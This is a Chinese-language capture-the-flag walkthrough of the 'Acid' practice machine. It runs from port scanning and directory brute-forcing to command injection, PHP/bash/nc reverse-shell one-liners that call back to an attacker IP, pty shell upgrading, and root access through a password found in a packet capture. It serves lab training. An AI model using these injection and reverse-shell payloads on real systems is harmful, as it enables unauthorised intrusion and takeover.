9. CTF综合靶机渗透(二)
靶机说明
Welcome to the world of Acid. Fairy tails uses secret keys to open the magical doors.
欢迎来到酸的世界。童话故事需要使用秘密钥匙打开魔法门。
目标
获得root权限和flag。
运行环境
靶机配置:该虚拟机完全基于Web,提取rar并使用VMplayer运行vmx,网络连接方式设置为net,靶机自动获取IP。
攻击机配置:同网段下有Windows攻击机,安装有Burpsuit、nc、Python2.7、DirBuster、御剑等渗透工具。
信息收集
ip发现
- 物理机kali ip为

启用Acid虚拟机,由于网络设置为桥接模式,使用Nmap扫描VMware Network Adapter VMnet8网卡的NAT网段,即可找到虚机IP,命令:
nmap -sP 192.168.1.1/24

获得目标ip 192.168.1.104
端口扫描
使用nmap扫描1-65535全端口,并做服务指纹识别,命令:
nmap -p 1-65535 -sV 192.168.1.104

目标主机的33447端口发现web服务,web服务器是Apache2.4.10,操作系统ubuntu。
http://192.168.1.104:33447 进入主页:

服务识别
只发现web服务和Apache,只能从web漏洞或者Apache漏洞入手(如有漏洞):
端口:Tcp 33447
底层服务:Apache2.4.10
操作系统:Ubuntu
漏洞挖掘的详细思路
web挖掘思路:
(1) 查看每个网页的源码,看是否有提示;
(2) 暴破目录,用御剑或DirBuster,看是否有新网页,找新网页的漏洞;
Apache挖掘思路:
(1) 寻找Apache2.4.10有无已知漏洞可利用:没有发现可直接利用的漏洞。
(2) 到www.exploit-db.com查询有无exp:没有找到exp。
(3) Nessus扫描一下主机漏洞:没有扫描出漏洞。
实在找不到漏洞:单用户模式进入Ubuntu,看源码吧。
步骤1:首先看主页源码,发现提示:0x643239334c6d70775a773d3d

0x是16进制编码,将值643239334c6d70775a773d3d进行ASCII hex转码,变成:d293LmpwZw==
发现是base64编码,再进行解码,得到图片信息 wow.jpg

这时可以根据经验在首页直接加目录打:/image/wow.jpg 或者 /images/wow.jpg 或者 /icon/wow.jpg 网站的图片目录通常是这样命名。
也可以利用dirbuster,御剑进行目录爆破,得到图片目录images。

访问
http://192.168.1.104:33447/images/wow.jpg得到图片:

将图片保存到本地,用Notepad++打开,发现最下边有提示

将3761656530663664353838656439393035656533376631366137633631306434进行ASCII hex转码,

得到 7aee0f6d588ed9905ee37f16a7c610d4,这是一串md5。

步骤2:使用Dirbuster进行目录暴破:

突然发现标题是/Challenge
查看暴破结果:果然发现Challenge目录,并且发现该目录下有cake.php、include.php、hacked.php,用Burpsuit挂上代理,
使用Firefox然后依次访问3个文件:
步骤3:访问cake.php,发现需要登录后才能访问,但是标题的地方我们同样发现了/Magic_Box:


点击login,发现跳到了index.php 页面,但是需要email 和 password才能登陆

步骤4:访问include.php,这是一个文件包含漏洞页面:

在输入框中输入 /etc/passwd 测试存在文件包含,Burpsuit显示response包如下:

想文件包含拿shell,但没有文件上传点,之前发现的wow.jpg中无木马可包含。先继续看hacked.php。
步骤5:访问hacked.php,需要输入ID,测试下之前从wow.jpg解密出来的数字:63425

不过看来好像并没有什么卵用
步骤6:找注入,把发现的几个页面都送入AWVS扫描了漏洞,未发现注入。
- 步骤7:继续暴破发现的/Magic_Box目录:发现low.php,command.php
- 步骤8:访问low.php是个空页面,访问command.php,发现命令执行界面:


这让人直接想起来命令执行漏洞,我们尝试一波
可执行系统命令,输入192.168.1.1;id 查看burpsuit的response发现id命令执行成功。

获取shell
步骤9:利用php反弹shell。kali linux开启nc,监听4444端口:
为避免转义和中断,在get、post请求中输入payload需要进行url编码。尝试bash反弹shell、nc反弹shell,如下payload都失败:
bash -i >& /dev/tcp/192.168.0.112/ >& nc -e /bin/bash -d 192.168.0.112
通过php反弹shell成功,将如下payload进行URL编码后,在burp中发送:
php -r '$sock=fsockopen("192.168.0.112",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

成功反弹shell
但是无法执行su命令,回显su: must be run from a terminal 需要一个终端。

没有想出办法,最终google了一下,找到答案:用python调用本地的shell,命令:
echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py
python /tmp/asdf.py

提升权限
步骤10:查看有哪些的用户
cat /etc/passwd,发现需要关注的用户有:acid,saman,root

步骤11:查找每个用户的文件(不显示错误)
find / -user acid >/dev/null

发现 /sbin/raw_vs_isi/hint.pcapng 文件,这是一个网络流量抓包文件,用Wireshark打开:
scp /sbin/raw_vs_isi/hint.pcapng root@10.10.10.140:/root/

只看TCP协议的包,发现saman的密码:1337hax0r

步骤12:su提权到saman、root,获得flag

再使用sudo -i 提权到root,密码同样是1337hax0r,获得位于root目录的flag.txt。


靶场思路回顾
作者的设计思路可参考国外的一篇渗透文章:
http://resources.infosecinstitute.com/acid-server-ctf-walkthrough
主要突破点是:
1.两次目录暴破,第一次暴破出challenge,目录、cake.php、include.php、hacked.php,第二次暴破Magic_Box目录发现command.php。
2.发现命令执行界面后,用php反弹shell,在http中传输需对payload进行url编码。
3.su提权需要一个终端,没有经验只能Google解决了。
4.提权的方法是通过查找已知用户的文件,发现其密码,未使用exp或msf提权。
总结
1.主要收获:
(1)命令执行漏洞可使用php反弹shell, 以前都是用bash或nc。
(2)su提权需要一个终端,使用Python解决。
(3)获得shell后,多多查找各个用户文件,可能有新发现。
2.踩到的坑:
(1)文件包含漏洞,没找到利用方式,也找不到上传点,无法包含获得shell;
(2)su提权需要一个终端,没有知识储备和经验,依靠高手指导和Google搜索解决。
(3)index.php页面获得邮件用户名和密码的方法太冷门了,如果不是看国外的教程,自己无法想到。
(4)发现目录就暴破下,使用御剑默认字典不行,只能使用OWASP的暴破字典,目录暴破绕过了上面邮件用户名和口令的登录,可以一路暴破到命令执行页面。
总之,在没有google搜索和他人的指导下,自己没能独立完成,后续需要开阔思路,多多练习。
9. CTF综合靶机渗透(二)的更多相关文章
- 22. CTF综合靶机渗透(十五)
靶机说明: Game of Thrones Hacking CTF This is a challenge-game to measure your hacking skills. Set in Ga ...
- 21. CTF综合靶机渗透(十四)
靶机说明: I created this machine to help others learn some basic CTF hacking strategies and some tools. ...
- 18. CTF综合靶机渗透(十一)
靶机描述: SkyDog Con CTF 2016 - Catch Me If You Can 难度:初学者/中级 说明:CTF是虚拟机,在虚拟箱中工作效果最好.下载OVA文件打开虚拟框,然后选择文件 ...
- 17. CTF综合靶机渗透(十)
靶机描述:欢迎来到超级马里奥主机!这个虚拟机是对真实世界场景场景的模拟.目标是在VM中找到2个标志.根是不够的(对不起!)VM可以以多种方式开发,但请记住枚举是关键.挑战的程度是中等的.感谢VDBAN ...
- 19. CTF综合靶机渗透(十二)
靶机说明: 靶机主题来自美剧<黑客军团> 本次靶机有三个flag,难度在初级到中级,非常适合新手训练学习,不需要逆向技术,目标就是找到三个key,并且拿到主机root权限. 渗透过程: 本 ...
- 20. CTF综合靶机渗透(十三)
靶机说明: Wellcome to "PwnLab: init", my first Boot2Root virtual machine. Meant to be easy, I ...
- 14. CTF综合靶机渗透(七)
靶机说明 NinevehV0.3.7z是一个难度为初级到中级的BooT2Root/CTF挑战. VM虚机配置有静态IP地址(192.168.0.150) 目标 Boot to root:获得root权 ...
- 13. CTF综合靶机渗透(六)
靶机说明 Breach1.0是一个难度为初级到中级的BooT2Root/CTF挑战. VM虚机配置有静态IP地址(192.168.110.140),需要将虚拟机网卡设置为host-only方式组网,并 ...
- 25. CTF综合靶机渗透(17)
靶机链接 https://www.vulnhub.com/entry/the-ether-evilscience,212 运行环境 本靶机提供了VMware的镜像,从Vulnhub下载之后解压,运行v ...
随机推荐
- [算法]数组的partition调整
题目一: 给定一个有序数组arr,调整arr使得这个数组的左半部分没有重复部分且升序,而不用保证右部分是否有序. 例如:arr=[1,2,2,2,3,3,4,5,6,6,7,7,8,8,9,9],调整 ...
- show processlist,sysbench压力测试工具
processlist.sh 记录数据库的状态 #!/bin/bash while true do mysql -uroot -pwangxiaohu -e 'show processlist\G'| ...
- ZSetOperations
有序集合,默认按照score升序排列,存储格式K(1)==V(n),V(1)=S(1)(K=key,V=value,S=score) 1.add(K,V,S):添加 2.count(K,Smin,Sm ...
- 分享知识-快乐自己:Liunx 搭建 Dubbo
1.首先配置JDK 操作步骤 2.部署 Tomcat ① 上传 Tomcat 7 解压jdk文件:tar -zxvf jdk文件名称 ② tomcat目录下的bin/启动tomcat ③ tail ...
- Linux 基本命令总结
0.平时自己用的命令 在跑一些程序,例如deep learning的时候,总是希望查看一下cpu.gpu.内存的使用率. (1)cpu.内存情况:使用top命令: (2)查看gpu:使用 nvidia ...
- Docker与LXC、虚拟化技术的区别——虚拟化技术本质上是在模拟硬件,Docker底层是LXC,本质都是cgroups是在直接操作硬件
先说和虚拟化技术的区别: 难道虚拟技术就做不到吗? 不不不,虚拟技术也可以做到,但是会有一定程度的性能损失,灵活度也会下降.容器技术不是模仿硬件层次,而是 在Linux内核里使用cgroup和name ...
- Python基础-多线程与多进程
一,线程与进程之间的关系:(从知乎上看到的) 一个必须知道的事实:执行一段程序代码,实现一个功能的过程介绍 ,当得到CPU的时候,相关的资源必须也已经就位,就是显卡啊,GPS啊什么的必须就位,然后CP ...
- 获取window状态栏和标题栏的高度
1.获取状态栏高度: decorView是window中的最顶层view,可以从window中获取到decorView,然后decorView有个getWindowVisibleDisplayFram ...
- Maven发布项目丢失Mybatis Mapper包的映射问题
由于一些eclipse版本问题,mybatis的mapper包中的sql文件没有被打进包,需要在pom中加入: <build> <!--配置打包时不过滤非java文件开始 --> ...
- 直播推流实现RTMP协议的一些注意事项
—— 2017-2-12 更新RTMP 协议整理了一下,包括rtmp 消息类型,rtmp 如何分块,rtmp分块例子. 用脑图整理了一下,使用Xmind 打开,URL: https://github. ...